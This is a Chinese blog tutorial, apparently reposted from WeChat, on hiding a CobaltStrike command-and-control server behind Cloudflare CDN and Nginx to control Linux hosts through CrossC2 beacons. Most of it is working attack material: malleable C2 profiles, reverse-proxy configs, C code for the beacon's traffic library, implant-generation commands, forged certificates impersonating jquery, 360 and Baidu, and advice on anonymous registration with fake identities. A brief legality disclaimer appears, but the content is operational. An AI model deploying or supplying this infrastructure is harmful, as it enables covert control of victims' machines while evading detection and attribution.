CobaltStrike使用 CDN+Nginx控制linux主机

admin 2023年4月4日11:09:53评论29 views字数 8948阅读29分49秒阅读模式

扫码进群群。

CobaltStrike使用 CDN+Nginx控制linux主机



CobaltStrike使用 CDN+Nginx控制linux主机

简介


CobaltStrike是一款常用的渗透测试工具,它可以通过控制主机来进行攻击。而CDN和Nginx则是常见的反向代理服务器和Web服务器,它们可以用来控制主机并提高控制的安全性。。

在使用CobaltStrike控制linux主机时,可以通过以下步骤来使用CDN和Nginx进行控制:。

首先,需要在云平台上申请一个CDN服务。CDN服务可以帮助我们加速网站访问,并且可以提高控制的安全性。。

在CDN服务中添加一个域名,并将该域名解析到主机的IP地址上。。

在主机上安装Nginx,并配置Nginx反向代理CDN服务。这样,请求将会经过CDN再到达Nginx,从而可以提高控制的安全性。。

在CobaltStrike中设置监听器,并将监听器的IP地址设置为Nginx服务器的IP地址。。

在CobaltStrike中生成payload并使用该payload攻击目标主机。目标主机将会与Nginx建立连接,并通过CDN访问CobaltStrike监听器,从而实现控制。。

通过使用CDN和Nginx控制linux主机,可以提高控制的安全性,同时也能够更加稳定地进行攻击。然而,需要注意的是,使用CobaltStrike进行攻击是非法的,任何未经授权的攻击都是不被允许的。

CobaltStrike使用 CDN+Nginx控制linux主机

有读者反映了如下几个问题:


CobaltStrike使用CDN+Nginx控制Linux主机的具体步骤是什么?。

为什么CobaltStrike使用CDN+Nginx能够更好地控制Linux主机?。

CobaltStrike能不能控制Linux主机?。

CobaltStrike使用CDN+Nginx控制Linux主机的优缺点有哪些?。

使用CobaltStrike后,如何隐藏自己?。


CobaltStrike使用 CDN+Nginx控制linux主机

CObalstrik服务端配置:


需要的工具:

云服务器一台

CoblatStrike4.7

VPN


CobaltStrike使用 CDN+Nginx控制linux主机

服务器禁ping:


展开目录

编辑配置文件 /etc/sysctl.conf, 增加一行:
net.ipv4.icmp_echo_ignore_all=1之后使命命令 sysctl -p 使配置生效。
  • vim /etc/sysctl.conf

  • net.ipv4.icmp_echo_ignore_all=1

  • sysctl -p

CobaltStrike使用 CDN+Nginx控制linux主机

然后自己验证一下就知道成功了没

CobaltStrike使用 CDN+Nginx控制linux主机

修改端口服务器:



我们知道 cs 的默认端口是 50050,而且默认证书里面有 Coblatstrike 字样首先先修改端口,找到 teamserver 文件,搜索 50050,然后改成自己想要的端口就行然后就是修改证书,证书模板我这里有三个

  • rm cobaltstrike.store


  • jquery

  • keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias code.jquery.com -dname "CN=*.code.jquery.com, OU=jquery Corporation, O=jquery Corporation, L=Redmond, S=WA, C=US"


  • 360

  • keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"


  • baidu

  • keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"


  • keytool -list -v -keystore cobaltstrike.store

随便选其中一个就行了,只有不报错就行

CobaltStrike使用 CDN+Nginx控制linux主机

加入CDN:


首先去 freenom 官网注册一个免费域名,首先下面的开发人员页面,然后进去找到创建随机域账户
CobaltStrike使用 CDN+Nginx控制linux主机

这里推荐匿名邮箱,自己随便找一个就行,收到邮件之后点击确认跳转到 freenom 网站,然后点击开发商
CobaltStrike使用 CDN+Nginx控制linux主机

然后我们需要一个国外的信息生成器:个人信息生成器(按照自己的梯子生成一个身份信息)
CobaltStrike使用 CDN+Nginx控制linux主机

注册成功之后买域名即可,但是好像由于技术原因不能购买了,所以去找一下其他域名厂家
然后就是配置 CDN 解析了选择 cloudeflare
CobaltStrike使用 CDN+Nginx控制linux主机

新增站点,输入域名,选择免费版本就行
CobaltStrike使用 CDN+Nginx控制linux主机

然后添加 dns 解析记录
CobaltStrike使用 CDN+Nginx控制linux主机

配置好之后把 SSL/TLS 加密模式改为为完全,创建证书,之后将公钥和私钥保存下来,分别为 server.pem 和 server.key
CobaltStrike使用 CDN+Nginx控制linux主机

然后使用命令把证书打包并生成 store 文件

  • openssl pkcs12 -export -in server.pem -inkey server.key -out www.xxx.tk.p12 -name www.xxx.tk -passout pass:123456


  • //使用keytool生成cs可用的store格式的证书对

  • keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.tk.store -srckeystore www.xxx.tk.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.tk

将生成的密钥文件.store 放到 cs 目录下,然后配置 profile 文件,其中需要注意的是 https-certificate 为证书相关的配置,其他 client.header 中 Host 的值要为我们申请的域名,其他的部分,根据个人情况去配置。

  • //cloudflare.profile文件内容

  • https-certificate {

  • set keystore "www.xxx.tk.store";

  • set password "123456";

  • }

  • http-stager {

  • set uri_x86 "/api/1";

  • set uri_x64 "/api/2";

  • client {

  • header "Host" "www.xxx.tk";}

  • server {

  • output{

  • print;

  • }

  • }

  • }

  • http-get {

  • set uri "/api/3";

  • client {

  • header "Host" "www.xxx.tk";

  • metadata {

  • base64;

  • header "Cookie";

  • }

  • }

  • server {

  • output{

  • print;

  • }

  • }

  • }

  • http-post {

  • set uri "/api/4";

  • client {

  • header "Host" "www.xxx.tk";

  • id {

  • uri-append;

  • }

  • output{

  • print;

  • }

  • }

  • server {

  • output{

  • print;

  • }

  • }

  • }

然后使用 clint 编译一下
看看格式是否报错
CobaltStrike使用 CDN+Nginx控制linux主机

然后是因为我们使用了 cdn,在生成木马时需要做一些不一样的操作。免费版本的 cloudflare 支持解析少量的端口:

  • http: 80、8080、8880、2052、2082、2086、2095

  • https: 443、2053、2083、2087、2096、8443

CobaltStrike使用 CDN+Nginx控制linux主机

Nginx反代:


开目录

  • //安装nginx并查看版本

  • apt install nginx

  • nginx -v


  • //修改nginx默认的配置文件

  • cd /etc/nginx/sites-enabled

  • sudo vim default


  • //将default文件内容替换如下

  • server{

  • listen 443 ssl http2;

  • server_name www.xxx.tk;

  • root /var/www/https;

  • index index.html;


  • ssl_certificate /opt/zs/server.pem;

  • ssl_certificate_key /opt/zs/server.key;

  • }



  • server{

  • listen 80;

  • server_name www.xxx.tk xxx.tk;

  • return 301 https://www.xxx.tk;

  • }


  • //创建https新文件

  • cd /var/www

  • mkdir https

  • cd https

  • vim index.html(文件内容hello,I am is https!)


  • //重启nginx配置

  • sudo nginx -s reload

  • //重启nginx服务

  • sudo systemctl restart nginx.service

然后修改 teamserver 文件,将我们之前生成带有域名的 stroe 和密码写进去
免费版本的 cloudflare 支持解析少量的端口,具体端口如下

  • http: 80、8080、8880、2052、2082、2086、2095

  • https: 443、2053、2083、2087、2096、8443

所以上线方式有了改变
CobaltStrike使用 CDN+Nginx控制linux主机

powershell 的上线方式需要启动 ssl 证书

CobaltStrike使用 CDN+Nginx控制linux主机

CS上线:


Cloudflare CDN 配置

CobaltStrike使用 CDN+Nginx控制linux主机

输入 ip.src == xx.xx.xx.xx,该 IP 是 C2 服务器真实 IP,再选择绕过缓存,最后保存。
CobaltStrike使用 CDN+Nginx控制linux主机

然后来配置我们的 ningx 文件

  • vim /etc/nginx/nginx.conf


  • //配置文件内容如下

  • user www-data;

  • worker_processes auto;

  • pid /run/nginx.pid;

  • include /etc/nginx/modules-enabled/*.conf;


  • events {

  • worker_connections 768;

  • # multi_accept on;

  • }


  • http {


  • server{

  • listen 443 ssl;

  • server_name aaa;

  • root /var/www/https;

  • index index.html;

  • ssl_certificate /opt/zs/server.pem;

  • ssl_certificate_key /opt/zs/server.key;

  • ssl_session_timeout 5m;

  • ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;

  • ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;

  • ssl_prefer_server_ciphers on;

  • location /aaaaaaaaa { # 限定 c2profile 请求地址

  • proxy_pass https://127.0.0.1:9090/aaaaaaaaa;

  • expires off;

  • proxy_redirect off;

  • proxy_set_header X-Forworded-For $proxy_add_x_forwarded_for;

  • proxy_set_header X-Real-IP $remote_addr;

  • }

  • location /bbbbbbbbb {

  • proxy_pass https://127.0.0.1:9090/bbbbbbbbb;

  • expires off;

  • proxy_redirect off;

  • proxy_set_header X-Forworded-For $proxy_add_x_forwarded_for;

  • proxy_set_header X-Real-IP $remote_addr;

  • }

  • }



  • }



  • #mail {

  • # # See sample authentication script at:

  • # # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript

  • #

  • # # auth_http localhost/auth.php;

  • # # pop3_capabilities "TOP" "USER";

  • # # imap_capabilities "IMAP4rev1" "UIDPLUS";

  • #

  • # server {

  • # listen localhost:110;

  • # protocol pop3;

  • # proxy on;

  • # }

  • #

  • # server {

  • # listen localhost:143;

  • # protocol imap;

  • # proxy on;

  • # }

  • #}


  • //重启nginx配置

  • sudo nginx -s reload

  • //重启nginx服务

  • sudo systemctl restart nginx.service

然后再来创建 c2profile.c 文件

  • // 采用示例模版,修改域名为真实域名

  • // www.google.com -> www.xxx.tk


  • #include <stdio.h>

  • #include <stdlib.h>

  • #include <string.h>

  • #include <unistd.h>


  • void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {

  • printf("cc2_get_sendn");

  • char *requestBody = "GET /%s HTTP/1.1rn"

  • "Host: www.xxx.tkrn"

  • "Accept-Encoding: gzip, brrn"

  • "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1rn"

  • "Cookie: SESSION=%srn"

  • "Connection: closernrn";

  • char postPayload[20000];

  • sprintf(postPayload, requestBody, "aaaaaaaaa", reqData);


  • *outputData_len = strlen(postPayload);

  • *outputData = (char *)calloc(1, *outputData_len);

  • memcpy(*outputData, postPayload, *outputData_len);


  • }

  • void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {

  • printf("cc2_post_sendn");

  • char *requestBody = "POST /%s?SESSION=%s HTTP/1.1rn"

  • "Host: www.xxx.tkrn"

  • "Accept-Encoding: gzip, brrn"

  • "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1rn"

  • "Connection: closern"

  • "Content-Length: %drnrn%s";

  • char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200);

  • sprintf(postPayload, requestBody, "bbbbbbbbb", id, strlen(reqData), reqData);


  • *outputData_len = strlen(postPayload);

  • *outputData = (char *)calloc(1, *outputData_len);

  • memcpy(*outputData, postPayload, *outputData_len);

  • free(postPayload);

  • }


  • char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {

  • if (rawData != NULL) {

  • char *s = strstr(rawData, start);

  • char *e = strstr(rawData, end);

  • if (s && e) {

  • rawData = s + strlen(start);

  • *payload_len = strlen(rawData) - strlen(e);

  • char *payload = (char *)calloc(*payload_len ,sizeof(char));

  • memcpy(payload, rawData, *payload_len);

  • return payload;

  • }

  • }

  • *payload_len = 0;

  • return NULL;

  • }


  • void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {

  • printf("cc2_get_recvn");

  • char *start = "ffffffff1";

  • char *end = "eeeeeeee2";


  • long long payload_len = 0;

  • *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);

  • *outputData_len = payload_len;

  • }


  • void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {

  • printf("cc2_post_recvn");


  • char *start = "ffffffff1";

  • char *end = "eeeeeeee2";


  • long long payload_len = 0;

  • *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);

  • *outputData_len = payload_len;

  • }

然后还得配置我们的 profile 文件,因为之前没有配置 ningx

  • https-certificate {

  • set keystore "www.xxx.tk.store";

  • set password "123456";

  • }

  • http-get {


  • set uri "/aaaaaaaaa";

  • set verb "GET";


  • client {


  • header "Accept" "accccccc";

  • header "Host" "www.xxx.tk";

  • header "Referer" "http://www.xxx.tk/";

  • header "Accept-Encoding" "gzip, deflate";


  • metadata {

  • base64url;

  • prepend "SESSION=";

  • header "Cookie";

  • }

  • }


  • server {


  • header "Server" "nginx";

  • header "Cache-Control" "max-age=0, no-cache";

  • header "Pragma" "no-cache";

  • header "Connection" "keep-alive";

  • header "Content-Type" "charset=utf-8";


  • output {

  • base64;

  • prepend "ffffffff1";

  • append "eeeeeeee2";

  • print;

  • }

  • }

  • }



  • http-post {


  • set uri "/bbbbbbbbb";

  • set verb "POST";


  • client {


  • header "Accept" "accccccc";

  • header "Host" "www.xxx.tk";

  • header "Referer" "http://www.xxx.tk/";

  • header "Accept-Encoding" "gzip, deflate";


  • id {

  • base64;

  • parameter "SESSION";

  • }


  • output {

  • base64;

  • print;

  • }

  • }


  • server {


  • header "Server" "nginx";

  • header "Cache-Control" "max-age=0, no-cache";

  • header "Pragma" "no-cache";

  • header "Connection" "keep-alive";

  • header "Content-Type" "charset=utf-8";


  • output {

  • mask;

  • base64url;

  • prepend "ffffffff1";

  • append "eeeeeeee2";

  • print;

  • }

  • }

  • }

下载 CrossC2
然后编译我们之前的.c 文件

  • gcc c2profile.c -o libc2.so -fPIC -shared

然后生成我们的木马文件

  • ./genCrossC2.Linux www.xxx.tk 443 .cobaltstrike.beacon_keys libc2.so Linux x64 a.out

CobaltStrike使用 CDN+Nginx控制linux主机

然后去上线 linux,还有一点监听器要设置为我们配置的 ningx 的端口
CobaltStrike使用 CDN+Nginx控制linux主机

然后试一试是可以上线的,然后还可以直接通过 https 上线,不通过 9090 转 ningx 反代
由于很多步骤都需要截图,需要处理域名,我就不想截了,将就看吧,还有别半路去测试什么域名能否访问,或者是各种平台去查自己,不然会被证书标记,能查到你的真实 ip,但是真实 ip 也是匿名的,无所吊谓。


作为一名网络安全行业从业者和公众号运营者,我深感网络安全运营的困难。在我的职业生涯中,我不断努力学习和提升自己,不断探索和尝试新的创作方式和思路,以更好地满足读者和粉丝的需求。

在这个过程中,我始终坚信,主体全力的拼搏,离不开大家的支持和关注。正是您的支持和鼓励,让我能够在自媒体领域不断前行、不断成长。

因此,我诚挚地邀请您关注我的公众号,让我们一起分享、一起学习、一起进步。在未来的创作中,我将不断努力,为大家带来更好的内容,为自媒体行业的发展贡献自己的一份力量。

感谢您的支持和关注!

CobaltStrike使用 CDN+Nginx控制linux主机

加作者微信,邀请进交流群。



↙点击“阅读原文”查看更多精彩内容

原文始发于微信公众号(安全女巫):CobaltStrike使用 CDN+Nginx控制linux主机

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月4日11:09:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CobaltStrike使用 CDN+Nginx控制linux主机https://cn-sec.com/archives/1651555.html

发表评论

匿名网友 填写信息